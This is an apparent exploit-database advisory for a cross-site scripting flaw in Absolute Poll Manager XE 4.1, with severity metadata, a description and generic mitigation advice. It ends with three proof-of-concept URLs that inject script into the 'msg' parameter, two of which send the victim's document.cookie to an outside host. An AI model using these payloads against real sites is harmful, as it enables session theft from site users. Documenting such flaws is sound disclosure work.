Cross-Site Scripting Vulnerability in Absolute Poll Manager XE

vendor:

Absolute Poll Manager XE

by:

Unknown

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: Absolute Poll Manager XE

Affected Version From: Absolute Poll Manager XE 4.1

Affected Version To: Unknown

Patch Exists: NO

Related CWE: Unknown

CPE: a:absolute_poll_manager_xe:4.1

Metasploit:

Other Scripts:

Platforms Tested: Unknown

Unknown

Cross-Site Scripting Vulnerability in Absolute Poll Manager XE

Absolute Poll Manager XE is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in web applications. Developers should also implement strong input validation and output encoding techniques to prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/25492/info

Absolute Poll Manager XE is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Absolute Poll Manager XE 4.1; other versions may also be vulnerable. 

http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://www.example2.com/?"%2bdocument.cookie</script> http://www.example.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//www.%65xample%2ecom/?%22%2bdocument.cookie%3c/script%3e&